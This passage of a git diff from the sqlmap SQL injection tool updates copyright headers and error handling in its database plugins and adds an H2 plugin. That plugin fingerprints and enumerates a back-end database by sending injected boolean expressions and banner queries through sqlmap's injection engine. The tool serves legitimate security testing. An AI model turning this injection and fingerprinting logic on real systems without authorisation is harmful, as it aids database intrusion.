(http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/__init__.py b/plugins/dbms/__init__.py index 7181b22a163..c654cbef7f4 100644 --- a/plugins/dbms/__init__.py +++ b/plugins/dbms/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/access/__init__.py b/plugins/dbms/access/__init__.py index 27da4be82fd..3529701b07d 100644 --- a/plugins/dbms/access/__init__.py +++ b/plugins/dbms/access/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/access/connector.py b/plugins/dbms/access/connector.py index 4e579c97f1c..ff10504a217 100644 --- a/plugins/dbms/access/connector.py +++ b/plugins/dbms/access/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -12,6 +12,7 @@ import logging +from lib.core.common import getSafeExString from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapConnectionException @@ -43,7 +44,7 @@ def connect(self): try: self.connector = pyodbc.connect('Driver={Microsoft Access Driver (*.mdb)};Dbq=%s;Uid=Admin;Pwd=;' % self.db) except (pyodbc.Error, pyodbc.OperationalError), msg: - raise SqlmapConnectionException(msg[1]) + raise SqlmapConnectionException(getSafeExString(msg)) self.initCursor() self.printConnected() @@ -52,16 +53,16 @@ def fetchall(self): try: return self.cursor.fetchall() except pyodbc.ProgrammingError, msg: - logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1]) + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(msg)) return None def execute(self, query): try: self.cursor.execute(query) except (pyodbc.OperationalError, pyodbc.ProgrammingError), msg: - logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1]) + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(msg)) except pyodbc.Error, msg: - raise SqlmapConnectionException(msg[1]) + raise SqlmapConnectionException(getSafeExString(msg)) self.connector.commit() diff --git a/plugins/dbms/access/enumeration.py b/plugins/dbms/access/enumeration.py index c74aed8bcf4..22276102448 100644 --- a/plugins/dbms/access/enumeration.py +++ b/plugins/dbms/access/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/access/filesystem.py b/plugins/dbms/access/filesystem.py index 8c02c9804aa..7d0006c8d4f 100644 --- a/plugins/dbms/access/filesystem.py +++ b/plugins/dbms/access/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/access/fingerprint.py b/plugins/dbms/access/fingerprint.py index 4b01d076de9..339edba51ca 100644 --- a/plugins/dbms/access/fingerprint.py +++ b/plugins/dbms/access/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -48,11 +48,12 @@ def _sysTablesCheck(self): # Microsoft Access table reference updated on 01/2010 sysTables = { - "97": ("MSysModules2", "MSysAccessObjects"), - "2000" : ("!MSysModules2", "MSysAccessObjects"), - "2002-2003" : ("MSysAccessStorage", "!MSysNavPaneObjectIDs"), - "2007" : ("MSysAccessStorage", "MSysNavPaneObjectIDs"), - } + "97": ("MSysModules2", "MSysAccessObjects"), + "2000": ("!MSysModules2", "MSysAccessObjects"), + "2002-2003": ("MSysAccessStorage", "!MSysNavPaneObjectIDs"), + "2007": ("MSysAccessStorage", "MSysNavPaneObjectIDs"), + } + # MSysAccessXML is not a reliable system table because it doesn't always exist # ("Access through Access", p6, should be "normally doesn't exist" instead of "is normally empty") @@ -128,7 +129,7 @@ def getFingerprint(self): value += "active fingerprint: %s" % actVer if kb.bannerFp: - banVer = kb.bannerFp["dbmsVersion"] + banVer = kb.bannerFp.get("dbmsVersion") if re.search(r"-log$", kb.data.banner): banVer += ", logging enabled" diff --git a/plugins/dbms/access/syntax.py b/plugins/dbms/access/syntax.py index b1a5131a7a9..f6cd030efd8 100644 --- a/plugins/dbms/access/syntax.py +++ b/plugins/dbms/access/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/access/takeover.py b/plugins/dbms/access/takeover.py index 651cff65183..e12c4d9adb0 100644 --- a/plugins/dbms/access/takeover.py +++ b/plugins/dbms/access/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/db2/__init__.py b/plugins/dbms/db2/__init__.py index 3f642ab0586..6bf0091cf6a 100644 --- a/plugins/dbms/db2/__init__.py +++ b/plugins/dbms/db2/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/db2/connector.py b/plugins/dbms/db2/connector.py index d3dfef3068a..a1906dc7c5e 100644 --- a/plugins/dbms/db2/connector.py +++ b/plugins/dbms/db2/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -12,6 +12,7 @@ import logging +from lib.core.common import getSafeExString from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapConnectionException @@ -19,9 +20,9 @@ class Connector(GenericConnector): """ - Homepage: http://code.google.com/p/ibm-db/ - User guide: http://code.google.com/p/ibm-db/wiki/README - API: http://www.python.org/dev/peps/pep-0249/ + Homepage: https://github.com/ibmdb/python-ibmdb + User guide: https://github.com/ibmdb/python-ibmdb/wiki/README + API: https://www.python.org/dev/peps/pep-0249/ License: Apache License 2.0 """ @@ -37,7 +38,6 @@ def connect(self): except ibm_db_dbi.OperationalError, msg: raise SqlmapConnectionException(msg) - self.initCursor() self.printConnected() @@ -45,16 +45,16 @@ def fetchall(self): try: return self.cursor.fetchall() except ibm_db_dbi.ProgrammingError, msg: - logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1]) + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(msg)) return None def execute(self, query): try: self.cursor.execute(query) except (ibm_db_dbi.OperationalError, ibm_db_dbi.ProgrammingError), msg: - logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1]) + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(msg)) except ibm_db_dbi.InternalError, msg: - raise SqlmapConnectionException(msg[1]) + raise SqlmapConnectionException(getSafeExString(msg)) self.connector.commit() diff --git a/plugins/dbms/db2/enumeration.py b/plugins/dbms/db2/enumeration.py index b6b64ac0bee..129ef027896 100644 --- a/plugins/dbms/db2/enumeration.py +++ b/plugins/dbms/db2/enumeration.py @@ -1,11 +1,10 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ - from lib.core.data import logger from plugins.generic.enumeration import Enumeration as GenericEnumeration diff --git a/plugins/dbms/db2/filesystem.py b/plugins/dbms/db2/filesystem.py index 4699cb9b634..4f0d86be78e 100644 --- a/plugins/dbms/db2/filesystem.py +++ b/plugins/dbms/db2/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/db2/fingerprint.py b/plugins/dbms/db2/fingerprint.py index deb2c22bd38..dd6e34af9b9 100644 --- a/plugins/dbms/db2/fingerprint.py +++ b/plugins/dbms/db2/fingerprint.py @@ -1,11 +1,10 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ - from lib.core.common import Backend from lib.core.common import Format from lib.core.data import conf @@ -64,12 +63,12 @@ def getFingerprint(self): value += DBMS.DB2 return value - actVer = Format.getDbms() - blank = " " * 15 - value += "active fingerprint: %s" % actVer + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer if kb.bannerFp: - banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None + banVer = kb.bannerFp.get("dbmsVersion") banVer = Format.getDbms([banVer]) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) @@ -127,12 +126,14 @@ def checkDbmsOs(self, detailed=False): infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs() if result: - versions = { "2003": ("5.2", (2, 1)), + versions = { + "2003": ("5.2", (2, 1)), "2008": ("7.0", (1,)), "2000": ("5.0", (4, 3, 2, 1)), "7": ("6.1", (1, 0)), "XP": ("5.1", (2, 1)), - "NT": ("4.0", (6, 5, 4, 3, 2, 1)) } + "NT": ("4.0", (6, 5, 4, 3, 2, 1)) + } # Get back-end DBMS underlying operating system version for version, data in versions.items(): diff --git a/plugins/dbms/db2/syntax.py b/plugins/dbms/db2/syntax.py index 64f08a7c4ea..c0aacd60fd8 100644 --- a/plugins/dbms/db2/syntax.py +++ b/plugins/dbms/db2/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/db2/takeover.py b/plugins/dbms/db2/takeover.py index ba8026e8880..ca204b03495 100644 --- a/plugins/dbms/db2/takeover.py +++ b/plugins/dbms/db2/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/firebird/__init__.py b/plugins/dbms/firebird/__init__.py index 602855ddc3b..f35a4070ecd 100644 --- a/plugins/dbms/firebird/__init__.py +++ b/plugins/dbms/firebird/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/firebird/connector.py b/plugins/dbms/firebird/connector.py index df874f9c0b1..a38232d4100 100644 --- a/plugins/dbms/firebird/connector.py +++ b/plugins/dbms/firebird/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -12,6 +12,7 @@ import logging +from lib.core.common import getSafeExString from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapConnectionException @@ -39,10 +40,10 @@ def connect(self): self.checkFileDb() try: - self.connector = kinterbasdb.connect(host=self.hostname.encode(UNICODE_ENCODING), database=self.db.encode(UNICODE_ENCODING), \ - user=self.user.encode(UNICODE_ENCODING), password=self.password.encode(UNICODE_ENCODING), charset="UTF8") # Reference: http://www.daniweb.com/forums/thread248499.html + # Reference: http://www.daniweb.com/forums/thread248499.html + self.connector = kinterbasdb.connect(host=self.hostname.encode(UNICODE_ENCODING), database=self.db.encode(UNICODE_ENCODING), user=self.user.encode(UNICODE_ENCODING), password=self.password.encode(UNICODE_ENCODING), charset="UTF8") except kinterbasdb.OperationalError, msg: - raise SqlmapConnectionException(msg[1]) + raise SqlmapConnectionException(getSafeExString(msg)) self.initCursor() self.printConnected() @@ -51,16 +52,16 @@ def fetchall(self): try: return self.cursor.fetchall() except kinterbasdb.OperationalError, msg: - logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1]) + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(msg)) return None def execute(self, query): try: self.cursor.execute(query) except kinterbasdb.OperationalError, msg: - logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1]) + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(msg)) except kinterbasdb.Error, msg: - raise SqlmapConnectionException(msg[1]) + raise SqlmapConnectionException(getSafeExString(msg)) self.connector.commit() diff --git a/plugins/dbms/firebird/enumeration.py b/plugins/dbms/firebird/enumeration.py index 9d5e915ed8e..406347a5e31 100644 --- a/plugins/dbms/firebird/enumeration.py +++ b/plugins/dbms/firebird/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/firebird/filesystem.py b/plugins/dbms/firebird/filesystem.py index 9b353468691..2ccf0cb8c79 100644 --- a/plugins/dbms/firebird/filesystem.py +++ b/plugins/dbms/firebird/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/firebird/fingerprint.py b/plugins/dbms/firebird/fingerprint.py index ba350205e43..40ac7580cec 100644 --- a/plugins/dbms/firebird/fingerprint.py +++ b/plugins/dbms/firebird/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -50,7 +50,7 @@ def getFingerprint(self): value += "active fingerprint: %s" % actVer if kb.bannerFp: - banVer = kb.bannerFp["dbmsVersion"] + banVer = kb.bannerFp.get("dbmsVersion") if re.search(r"-log$", kb.data.banner): banVer += ", logging enabled" @@ -68,12 +68,12 @@ def getFingerprint(self): def _sysTablesCheck(self): retVal = None table = ( - ("1.0", ("EXISTS(SELECT CURRENT_USER FROM RDB$DATABASE)",)), - ("1.5", ("NULLIF(%d,%d) IS NULL", "EXISTS(SELECT CURRENT_TRANSACTION FROM RDB$DATABASE)")), - ("2.0", ("EXISTS(SELECT CURRENT_TIME(0) FROM RDB$DATABASE)", "BIT_LENGTH(%d)>0", "CHAR_LENGTH(%d)>0")), - ("2.1", ("BIN_XOR(%d,%d)=0", "PI()>0.%d", "RAND()<1.%d", "FLOOR(1.%d)>=0")), - # TODO: add test for Firebird 2.5 - ) + ("1.0", ("EXISTS(SELECT CURRENT_USER FROM RDB$DATABASE)",)), + ("1.5", ("NULLIF(%d,%d) IS NULL", "EXISTS(SELECT CURRENT_TRANSACTION FROM RDB$DATABASE)")), + ("2.0", ("EXISTS(SELECT CURRENT_TIME(0) FROM RDB$DATABASE)", "BIT_LENGTH(%d)>0", "CHAR_LENGTH(%d)>0")), + ("2.1", ("BIN_XOR(%d,%d)=0", "PI()>0.%d", "RAND()<1.%d", "FLOOR(1.%d)>=0")), + # TODO: add test for Firebird 2.5 + ) for i in xrange(len(table)): version, checks = table[i] diff --git a/plugins/dbms/firebird/syntax.py b/plugins/dbms/firebird/syntax.py index 15767b3a348..7c91e79cf6f 100644 --- a/plugins/dbms/firebird/syntax.py +++ b/plugins/dbms/firebird/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/firebird/takeover.py b/plugins/dbms/firebird/takeover.py index 967f193c6aa..9864414702e 100644 --- a/plugins/dbms/firebird/takeover.py +++ b/plugins/dbms/firebird/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/h2/__init__.py b/plugins/dbms/h2/__init__.py new file mode 100644 index 00000000000..b38b098dd12 --- /dev/null +++ b/plugins/dbms/h2/__init__.py @@ -0,0 +1,33 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import H2_SYSTEM_DBS +from lib.core.unescaper import unescaper +from plugins.dbms.h2.enumeration import Enumeration +from plugins.dbms.h2.filesystem import Filesystem +from plugins.dbms.h2.fingerprint import Fingerprint +from plugins.dbms.h2.syntax import Syntax +from plugins.dbms.h2.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class H2Map(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines H2 methods + """ + + def __init__(self): + self.excludeDbsList = H2_SYSTEM_DBS + + Syntax.__init__(self) + Fingerprint.__init__(self) + Enumeration.__init__(self) + Filesystem.__init__(self) + Miscellaneous.__init__(self) + Takeover.__init__(self) + + unescaper[DBMS.H2] = Syntax.escape diff --git a/plugins/dbms/h2/connector.py b/plugins/dbms/h2/connector.py new file mode 100644 index 00000000000..54e332c773f --- /dev/null +++ b/plugins/dbms/h2/connector.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + def __init__(self): + GenericConnector.__init__(self) + + def connect(self): + errMsg = "on H2 it is not (currently) possible to establish a " + errMsg += "direct connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/h2/enumeration.py b/plugins/dbms/h2/enumeration.py new file mode 100644 index 00000000000..58e9ec71636 --- /dev/null +++ b/plugins/dbms/h2/enumeration.py @@ -0,0 +1,52 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.enumeration import Enumeration as GenericEnumeration +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.data import queries +from lib.core.common import unArrayizeValue +from lib.core.enums import DBMS +from lib.core.settings import H2_DEFAULT_SCHEMA +from lib.request import inject + +class Enumeration(GenericEnumeration): + def __init__(self): + GenericEnumeration.__init__(self) + + def getBanner(self): + if not conf.getBanner: + return + + if kb.data.banner is None: + infoMsg = "fetching banner" + logger.info(infoMsg) + + query = queries[DBMS.H2].banner.query + kb.data.banner = unArrayizeValue(inject.getValue(query, safeCharEncode=True)) + + return kb.data.banner + + def getPrivileges(self, *args): + warnMsg = "on H2 it is not possible to enumerate the user privileges" + logger.warn(warnMsg) + + return {} + + def getHostname(self): + warnMsg = "on H2 it is not possible to enumerate the hostname" + logger.warn(warnMsg) + + def getCurrentDb(self): + return H2_DEFAULT_SCHEMA + + def getPasswordHashes(self): + warnMsg = "on H2 it is not possible to list password hashes" + logger.warn(warnMsg) + + return {} diff --git a/plugins/dbms/h2/filesystem.py b/plugins/dbms/h2/filesystem.py new file mode 100644 index 00000000000..cfbcee27cd5 --- /dev/null +++ b/plugins/dbms/h2/filesystem.py @@ -0,0 +1,21 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + def __init__(self): + GenericFilesystem.__init__(self) + + def readFile(self, rFile): + errMsg = "on H2 it is not possible to read files" + raise SqlmapUnsupportedFeatureException(errMsg) + + def writeFile(self, wFile, dFile, fileType=None, forceCheck=False): + errMsg = "on H2 it is not possible to write files" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/h2/fingerprint.py b/plugins/dbms/h2/fingerprint.py new file mode 100644 index 00000000000..6b6353ecc3b --- /dev/null +++ b/plugins/dbms/h2/fingerprint.py @@ -0,0 +1,96 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import H2_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.H2) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.H2 + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(H2_ALIASES): + setDbms("%s %s" % (DBMS.H2, Backend.getVersion())) + + self.getBanner() + + return True + + infoMsg = "testing %s" % DBMS.H2 + logger.info(infoMsg) + + result = inject.checkBooleanExpression("ZERO() IS 0") + + if result: + infoMsg = "confirming %s" % DBMS.H2 + logger.info(infoMsg) + + result = inject.checkBooleanExpression("ROUNDMAGIC(PI())>=3") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.H2 + logger.warn(warnMsg) + + return False + else: + setDbms(DBMS.H2) + + self.getBanner() + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.H2 + logger.warn(warnMsg) + + return False + + def getHostname(self): + warnMsg = "on H2 it is not possible to enumerate the hostname" + logger.warn(warnMsg) diff --git a/plugins/dbms/h2/syntax.py b/plugins/dbms/h2/syntax.py new file mode 100644 index 00000000000..b98351c593d --- /dev/null +++ b/plugins/dbms/h2/syntax.py @@ -0,0 +1,24 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + def __init__(self): + GenericSyntax.__init__(self) + + @staticmethod + def escape(expression, quote=True): + """ + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") + 'SELECT CHAR(97)||CHAR(98)||CHAR(99)||CHAR(100)||CHAR(101)||CHAR(102)||CHAR(103)||CHAR(104) FROM foobar' + """ + + def escaper(value): + return "||".join("CHAR(%d)" % ord(value[i]) for i in xrange(len(value))) + + return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/h2/takeover.py b/plugins/dbms/h2/takeover.py new file mode 100644 index 00000000000..cb0f53cb271 --- /dev/null +++ b/plugins/dbms/h2/takeover.py @@ -0,0 +1,31 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def __init__(self): + GenericTakeover.__init__(self) + + def osCmd(self): + errMsg = "on H2 it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on H2 it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on H2 it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on H2 it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/hsqldb/__init__.py b/plugins/dbms/hsqldb/__init__.py index bcbc831641d..c6f9c28f1dc 100644 --- a/plugins/dbms/hsqldb/__init__.py +++ b/plugins/dbms/hsqldb/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/hsqldb/connector.py b/plugins/dbms/hsqldb/connector.py index 77e041e0caf..7f272fb1eb9 100644 --- a/plugins/dbms/hsqldb/connector.py +++ b/plugins/dbms/hsqldb/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -46,11 +46,8 @@ def connect(self): try: driver = 'org.hsqldb.jdbc.JDBCDriver' - connection_string = 'jdbc:hsqldb:mem:.' #'jdbc:hsqldb:hsql://%s/%s' % (self.hostname, self.db) - self.connector = jaydebeapi.connect(driver, - connection_string, - str(self.user), - str(self.password)) + connection_string = 'jdbc:hsqldb:mem:.' # 'jdbc:hsqldb:hsql://%s/%s' % (self.hostname, self.db) + self.connector = jaydebeapi.connect(driver, connection_string, str(self.user), str(self.password)) except Exception, msg: raise SqlmapConnectionException(msg[0]) @@ -70,7 +67,7 @@ def execute(self, query): try: self.cursor.execute(query) retVal = True - except Exception, msg: #todo fix with specific error + except Exception, msg: # TODO: fix with specific error logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1]) self.connector.commit() diff --git a/plugins/dbms/hsqldb/enumeration.py b/plugins/dbms/hsqldb/enumeration.py index 78d94293d8d..9616d5cf65e 100644 --- a/plugins/dbms/hsqldb/enumeration.py +++ b/plugins/dbms/hsqldb/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/hsqldb/filesystem.py b/plugins/dbms/hsqldb/filesystem.py index bdbcafef126..a8bdfa2a071 100644 --- a/plugins/dbms/hsqldb/filesystem.py +++ b/plugins/dbms/hsqldb/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -17,5 +17,5 @@ def readFile(self, rFile): raise SqlmapUnsupportedFeatureException(errMsg) def writeFile(self, wFile, dFile, fileType=None, forceCheck=False): - errMsg = "on HSQLDB it is not possible to read files" + errMsg = "on HSQLDB it is not possible to write files" raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/hsqldb/fingerprint.py b/plugins/dbms/hsqldb/fingerprint.py index cab68f15e64..4b1245b40b0 100644 --- a/plugins/dbms/hsqldb/fingerprint.py +++ b/plugins/dbms/hsqldb/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -47,7 +47,7 @@ def getFingerprint(self): value += "active fingerprint: %s" % actVer if kb.bannerFp: - banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None + banVer = kb.bannerFp.get("dbmsVersion") if re.search(r"-log$", kb.data.banner): banVer += ", logging enabled" @@ -106,6 +106,13 @@ def checkDbms(self): return False else: + result = inject.checkBooleanExpression("ZERO() IS 0") # Note: check for H2 DBMS (sharing majority of same functions) + if result: + warnMsg = "the back-end DBMS is not %s" % DBMS.HSQLDB + 